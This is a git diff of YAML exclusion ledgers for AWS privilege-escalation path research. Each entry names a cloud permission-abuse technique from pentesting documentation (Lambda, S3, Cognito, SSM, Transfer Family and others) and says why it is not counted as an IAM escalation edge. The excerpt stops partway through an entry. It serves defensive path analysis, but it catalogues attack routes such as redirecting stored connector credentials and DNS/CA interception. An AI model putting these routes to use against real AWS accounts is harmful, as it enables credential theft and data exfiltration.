WorkDocs; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocs-activity-metadata-and-content-read-chain + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocs-activity-metadata-and-content-read-chain + source_revision: f2aa915198 + technique: WorkDocs activity/metadata/content read chain + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsaddresourcepermissions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsaddresourcepermissions + source_revision: f2aa915198 + technique: workdocs:AddResourcePermissions + reason: Document access; data only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsupdateuser + source_revision: fd7d56b0a9 + technique: workdocs:UpdateUser + reason: Application-level role change inside WorkDocs; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputtargets--eventsputevents--invoke-a-resource-policy-authorized-lambda + source_revision: a53b46392c + technique: events:PutTargets + events:PutEvents + reason: Invokes a fixed Lambda with attacker input; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputpermission--self-grant-publishing-through-a-bus-policy + source_revision: a53b46392c + technique: events:PutPermission + reason: Grants event-bus publishing; input injection only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputrule--enable-a-disabled-rule-with-its-existing-target + source_revision: a53b46392c + technique: events:PutRule (enable disabled rule) + reason: Runs an existing fixed target; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsstartreplay--replay-retained-events-into-unchanged-targets + source_revision: a53b46392c + technique: events:StartReplay + reason: Replays events into fixed targets; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateapidestination--redirect-stored-connection-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsupdateapidestination--redirect-stored-connection-credentials + source_revision: f2aa915198 + technique: events:UpdateApiDestination + reason: Exfiltrates third-party API credentials from a connection; not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53createhostedzone-route53changeresourcerecordsets-acm-pcaissuecertificate-acm-pcagetcertificate-ec2describevpcs + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md#route53createhostedzone-route53changeresourcerecordsets-acm-pcaissuecertificate-acm-pcagetcertificate-ec2describevpcs + source_revision: fd7d56b0a9 + technique: route53:CreateHostedZone + ChangeResourceRecordSets + acm-pca:IssueCertificate + GetCertificate + reason: Traffic interception (MitM) of in-VPC clients; no IAM principal is obtained directly. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdescribeenvironmentresources-elasticloadbalancingmodifyloadbalancerattributes-s3putbucketpolicy-s3listbucket-s3getobject-to-enable-alb-access-logs-exfiltration + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkdescribeenvironmentresources-elasticloadbalancingmodifyloadbalancerattributes-s3putbucketpolicy-s3listbucket-s3getobject-to-enable-alb-access-logs-exfiltration + source_revision: f2aa915198 + technique: ALB access-log exfiltration + reason: Exfiltration of request metadata; data only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducecreateeditor-iamlistroles-elasticmapreducelistclusters-iampassrole-elasticmapreducedescribeeditor-elasticmapreduceopeneditorinconsole + source_revision: a53b46392c + technique: elasticmapreduce:CreateEditor + PassRole (EMR Notebooks) + reason: 'Outdated: legacy EMR Notebooks editor API is not in the current service model; cannot be verified.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#legacy-elasticmapreduceopeneditorinconsole-boundary + source_revision: a53b46392c + technique: elasticmapreduce:OpenEditorInConsole + reason: Outdated legacy notebook path; the page itself documents it as a boundary/non-path. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddpermission + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:AddPermission (alone) + reason: Grants invoke on existing fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: Expose an existing AuthType NONE Function URL + reason: Exposure of fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddlayerversionpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddlayerversionpermission + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:AddLayerVersionPermission + reason: Shares layer code (read); data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambda-mitm + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda-mitm + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: Lambda MitM + reason: Requires prior code execution in the function; persistence/interception, not a new edge. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaputprovisionedconcurrencyconfig--trigger-initialization-without-invocation + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaputprovisionedconcurrencyconfig--trigger-initialization-without-invocation + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:PutProvisionedConcurrencyConfig + reason: Triggers init of fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetFunction + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetFunctionConfiguration + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetlayerversion--download-layer-code + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetlayerversion--download-layer-code + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetLayerVersion + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbinstance + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatedbinstance + source_revision: f2aa915198 + technique: rds:CreateDBInstance into an existing Aurora cluster + reason: Does not provide database credentials; no new identity without an existing DB login. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatebluegreendeployment-rdsaddroletodbcluster-iampassrole-rdsswitchoverbluegreendeployment + source_revision: a53b46392c + technique: rds:CreateBlueGreenDeployment + AddRoleToDBCluster + PassRole + SwitchoverBlueGreenDeployment + reason: The extra blue/green actions do not by themselves provide a database login or an IAM role session. The underlying AddRoleToDBCluster route remains a conditional candidate requiring exact database, integration and effective authority joins. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketpolicy + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketpolicy + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:PutBucketPolicy + reason: 'Grants bucket data access. Evaluator note: treat as implying s3:PutObject on that bucket for the artifact entries (s3/glue/emr/sagemaker/elasticbeanstalk).' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getbucketacl-s3putbucketacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getbucketacl-s3putbucketacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetBucketAcl + s3:PutBucketAcl + reason: Grants bucket data access (only when ACLs are enabled); same evaluator note as PutBucketPolicy. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getobjectacl-s3putobjectacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getobjectacl-s3putobjectacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetObjectAcl + s3:PutObjectAcl + reason: Object data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getobjectversionacl-s3putobjectversionacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getobjectversionacl-s3putobjectversionacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetObjectVersionAcl + s3:PutObjectVersionAcl + reason: Object data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketcors + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketcors + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:PutBucketCORS + reason: Browser cross-origin data access; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakercreatepresignedmlflowtrackingserverurl-sagemaker-mlflowaccessui-sagemaker-mlflowsearchexperiments + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresignedmlflowtrackingserverurl-sagemaker-mlflowaccessui-sagemaker-mlflowsearchexperiments + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:CreatePresignedMlflowTrackingServerUrl + sagemaker-mlflow:* + reason: MLflow UI/artifact data access; no execution role obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreateapp-sagemakercreatepresigneddomainurl + source_revision: a53b46392c + technique: sagemaker:CreateApp + CreatePresignedDomainUrl + reason: Subsumed by aws-sagemaker-createpresigneddomainurl (same target set, fewer permissions). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemakerstartpipelineexecution--inject-parameters-into-privileged-steps + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerstartpipelineexecution--inject-parameters-into-privileged-steps + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:StartPipelineExecution + reason: Runs fixed pipeline steps with attacker parameters; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemakerretrypipelineexecution--replay-failed-steps-and-stored-parameters + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerretrypipelineexecution--replay-failed-steps-and-stored-parameters + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:RetryPipelineExecution + reason: Replays fixed steps; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#datazonecreateuserprofile-and-iamgetuser-for-project-assignment-without-an-existing-profile + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#datazonecreateuserprofile-and-iamgetuser-for-project-assignment-without-an-existing-profile + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: datazone:CreateUserProfile + reason: A profile alone grants nothing; project membership (separate control) is needed to reach project roles. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#sensitive-cloudformation-outputs-with-servicecataloggetprovisionedproductoutputs + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#sensitive-cloudformation-outputs-with-servicecataloggetprovisionedproductoutputs + source_revision: f2aa915198 + technique: servicecatalog:GetProvisionedProductOutputs + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:StartAssociationsOnce + reason: Runs fixed associations on fixed targets; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmdescribeparameters-ssmgetparameter--ssmgetparameters--ssmgetparametersbypath + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmdescribeparameters-ssmgetparameter--ssmgetparameters--ssmgetparametersbypath + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetParameter(s) + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmgetparameterhistory--recover-current-and-previous-parameter-values + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmgetparameterhistory--recover-current-and-previous-parameter-values + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetParameterHistory + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmlistcommands + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmlistcommands + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:ListCommands + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmgetcommandinvocation-ssmlistcommandinvocations--ssmlistcommands + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmgetcommandinvocation-ssmlistcommandinvocations--ssmlistcommands + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetCommandInvocation + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#codebuild + source_revision: a53b46392c + technique: SSM to CodeBuild session + reason: Cross-reference to the CodeBuild page (other agent); no SSM permission combination here. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#syntheticsstartcanary--run-unchanged-canary-code-under-its-stored-role + source_revision: a53b46392c + technique: synthetics:StartCanary + reason: Runs fixed canary code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateconnector--redirect-an-sftp-connector-and-capture-its-stored-credential + source_revision: a53b46392c + technique: transfer:UpdateConnector + reason: Captures a third-party SFTP credential; not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transferstartfiletransfer--send-role-readable-s3-data-through-a-stored-connector + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferstartfiletransfer--send-role-readable-s3-data-through-a-stored-connector + source_revision: f2aa915198 + technique: transfer:StartFileTransfer + reason: Data exfiltration through a fixed connector role (the role only reads/sends files the caller selects); data access. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_bounded_service_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_bounded_service_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..84099257d8 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_bounded_service_role_overclaim_20261016.yaml @@ -0,0 +1,52 @@ +# Role targets removed where the service exposes only bounded operations. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#createflowupdateflow--iampassrole-to-aws-glue-catalog-authority + technique: aws-appflow-passrole-glue-catalog + reason: AppFlow can make selected Glue Data Catalog metadata writes through the passed role, but does not give + Alice that role session or its general permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#arc-region-switchcreateplan--updateplan--iampassrole--run-steps-as-the-execution-role + technique: aws-arc-region-switch-passrole-createplan + reason: ARC can run only configured plan step types through the role; the target cannot be the full passable IAM + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#ssm-run-command-step--execute-on-a-managed-node + technique: aws-arc-region-switch-ssm-sendcommand-host-role + reason: A plan can call SSM SendCommand through its execution role and may reach a selected managed node's IAM role. CSPM does not yet join the command document and parameters, plan execution path, online node, and node-to-role binding; plan write and PassRole alone cannot produce this edge. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-budgets-privesc/README.md#budgetscreatebudgetaction-iampassrole--budgetsexecutebudgetaction--attach-a-policy-through-a-budget-action + technique: aws-budgets-passrole-createbudgetaction + reason: Budget actions have three bounded operation types, and RUN_SSM_DOCUMENTS can only stop EC2 or RDS + instances. An exact IAM policy attachment may grant a controlled principal permissions, but the retired entry + targets the full passed role without proving an existing budget, triggered action, attach authority and recipient gain. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chatbot-privesc/README.md#chatbotcreateslackchannelconfiguration--createmicrosoftteamschannelconfiguration--iampassrole + technique: aws-chatbot-passrole-create-channel-configuration + reason: Chat CLI requests are constrained by channel guardrails. The full role target overstates the authority + actually available. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimecreatemediainsightspipelineconfiguration--iampassrole + technique: aws-chime-passrole-mediainsightspipelineconfiguration + reason: The media pipeline can read/write only configured media sources and sinks; the entry explicitly says this + is not a role session. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#datasynccreatelocations3-datasynccreatetask-datasyncstarttaskexecution-iampassrole + technique: aws-datasync-passrole-createlocations3-createtask + reason: DataSync transfers selected S3 data through the role; it does not yield the role identity or broad IAM + permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-fis-privesc/README.md#updateexperimenttemplate--startexperiment-through-the-stored-role + technique: aws-fis-updateexperimenttemplate-startexperiment + reason: FIS can perform only configured experiment actions through its stored role, so a full-role escalation + edge is unsupported. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftmodifyclusteriamroles-iampassrole--redshift-serverlessupdatenamespace-iampassrole---repoint-the-databases-aws-role + technique: aws-redshift-passrole-attach-warehouse-role + reason: Attaching a role to a Redshift warehouse yields only SQL integration operations, not the full IAM role + session or permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3createjob-s3-batch-operations-iampassrole--mass-copyexposelock-a-whole-bucket-as-a-passed-role + technique: aws-s3-batchoperations-passrole-createjob + reason: S3 Batch Operations executes a bounded S3/Lambda job. The source does not gain general access to the passed + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3filescreatefilesystem-iampassrole--connect-a-bucket-through-a-service-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3filescreatefilesystem-iampassrole--mount-any-buckets-data-as-a-chosen-role + technique: aws-s3files-passrole-createfilesystem + reason: S3 Files synchronizes a selected bucket or prefix through its service role, subject to role, bucket and KMS authorization. A separate authorized NFS client is required for file access; the caller does not receive the role's credentials or its general IAM permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transfercreateuserupdateusercreateaccessupdateaccess--iampassrole--attach-a-chosen-role-to-an-sftp-identity + technique: aws-transfer-passrole-createuser-access + reason: Transfer Family grants file access scoped to S3/EFS locations through its role, not the full passed role + identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#managed-workflow-role-abuse--execute-storage-actions-on-upload + technique: aws-transfer-workflow-passrole-updateserver + reason: Transfer workflow steps are fixed copy/tag/delete/decrypt/Lambda operations, not arbitrary IAM role permissions. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_cognito_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_cognito_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..df6cb36747 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_cognito_strict_reaudit_20261016.yaml @@ -0,0 +1,82 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/cognito-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetidentitypoolroles-iampassrole + source_revision: 171e422299 + technique: Set the roles of an identity pool the source can obtain credentials from + reason: SetIdentityPoolRoles and PassRole do not prove the source can obtain any + identity-pool login/token; role aud/amr and chosen pool are not joined. + prior_id: aws-cognito-setidentitypoolroles-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: 171e422299 + technique: Add a provider the source controls to an identity pool + reason: The action may enable unauthenticated identities, but the target set includes + authenticated and rule-mapped roles without a verified source token or role slot. + prior_id: aws-cognito-updateidentitypool +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminaddusertogroup + source_revision: 171e422299 + technique: Add a user-pool user the source controls to a group with an IAM role + reason: No source-controlled user credential or token-based group role mapping is + proved; group administration alone gives the source no role. + prior_id: aws-cognito-adminaddusertogroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreategroup--cognito-idpupdategroup-iampassrole + source_revision: 171e422299 + technique: Create or update a user-pool group with a passed role + reason: Creating/updating a group does not prove the source controls a member or + that this user pool/pool role mapping issues the passed role. + prior_id: aws-cognito-creategroup-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminconfirmsignup + source_revision: 171e422299 + technique: Confirm a self-registered user-pool user + reason: Self-signup and ownership of the confirmed user are unverified; the target + selector includes rule-mapped roles without token claims. + prior_id: aws-cognito-adminconfirmsignup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmincreateuser + source_revision: 171e422299 + technique: Create a user in a user pool + reason: The source may create a user, but the selector includes rule-mapped roles + without verified app-client sign-in, token claims or the exact role slot. + prior_id: aws-cognito-admincreateuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminsetuserpassword + source_revision: 171e422299 + technique: Set the password of an existing user-pool user + reason: Usable sign-in of a particular user (including MFA) and that user’s exact + mapped IAM role are unverified; the selector includes every rule role. + prior_id: aws-cognito-adminsetuserpassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateuserimportjob--cognito-idpstartuserimportjob + source_revision: 171e422299 + technique: Import users with known passwords via a user import job + reason: Password-hash or eligible passwordless imports can create immediately + signable users, but the source's usable sign-in and exact identity-pool role + selection are unproved; the selector includes unrelated rule-mapped roles. + prior_id: aws-cognito-userimportjob-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateidentityprovider--cognito-idpupdateidentityprovider + source_revision: 171e422299 + technique: Add or change a federated identity provider of a user pool + reason: The app client accepting the new provider, controlled IdP login, and exact + token-to-role mapping are not proved. + prior_id: aws-cognito-create-update-identityprovider +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetprincipaltagattributemap--forge-the-session-tags-that-iam-conditions-trust + source_revision: 171e422299 + technique: Remap identity-pool principal tags to attributes the source controls + reason: No source-controlled token claim or ABAC permission differential is proved; + targeting the whole role overclaims tag-conditioned authority. + prior_id: aws-cognito-setprincipaltagattributemap +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminlinkproviderforuser--graft-an-attacker-identity-onto-an-existing-privileged-user + source_revision: 171e422299 + technique: Link a federated identity the source controls to an existing user-pool + user + reason: The source-controlled federated subject, app-client acceptance and resulting + victim token/role mapping are unverified. + prior_id: aws-cognito-adminlinkproviderforuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminupdateuserattributes + source_revision: 6fb9ac51fd + technique: Change a user-pool user's attributes to match an identity-pool role-mapping + rule + reason: No controlled user sign-in or exact attribute-rule match is proved; the + target set includes roles unrelated to the edited user. + prior_id: aws-cognito-adminupdateuserattributes-rule-mapping +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: 6fb9ac51fd + technique: Enable the basic (classic) authentication flow on an identity pool + reason: Enabling classic flow does not prove a source-usable identity token or exact + authenticated/unauthenticated role slot. + prior_id: aws-cognito-updateidentitypool-classic-flow diff --git a/src/privilege-escalation-paths-research/aws/_excluded_config_existing_document_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_config_existing_document_20261022.yaml new file mode 100644 index 0000000000..1e4e1066ff --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_config_existing_document_20261022.yaml @@ -0,0 +1,5 @@ +# Existing Automation documents can avoid CreateDocument, but need an exact runnable step. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#also-relevant-configputremediationconfigurations--iampassrole-classic-passrole + source_revision: ee45f5f10abb8aef3fcf4216ab7971f342b3c274 + technique: Attach an existing useful Automation document to automatic Config remediation + reason: An existing Automation document could remove the need for ssm:CreateDocument, but PutRemediationConfigurations and PassRole alone do not prove that the document accepts AutomationAssumeRole, executes an action the passed role permits, and produces a usable gain. The route also needs a non-service-linked rule, a noncompliant resource, automatic mode and the remediation service-linked role. Current inventory does not join these facts. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..a7b6450c28 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml @@ -0,0 +1,150 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/consumer-input-join-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#s3putobject-on-a-nested-stack-template--delayed-cloudformation-role-escalation + source_revision: 171e422299 + technique: Replace a mutable nested-stack template object in S3 + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-cloudformation-nested-template-s3-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#ssmputparameter-on-a-cloudformation-supplied-parameter--delayed-policy-injection + source_revision: 6fb9ac51fd + technique: Overwrite a Parameter Store value that a stack resolves as a template parameter + reason: 'The ssm:PutParameter source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-cloudformation-ssm-parameter-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdateapplication--poison-an-elastic-fleet-application-launch + source_revision: 6fb9ac51fd + technique: Change the launch definition of an application used by an Elastic fleet + reason: 'The appstream:UpdateApplication source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-appstream-updateapplication-elastic-fleet +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemaker-model-registry-supply-chain-injection-via-createmodelpackageapproved + source_revision: b587e6bd26 + technique: Register an Approved model version in a Model Package Group consumed by auto-deploy + automation + reason: 'Approved marks a model package version eligible for deployment; it does not start + a workload. A role edge needs effective CreateModelPackage permission on the exact group, 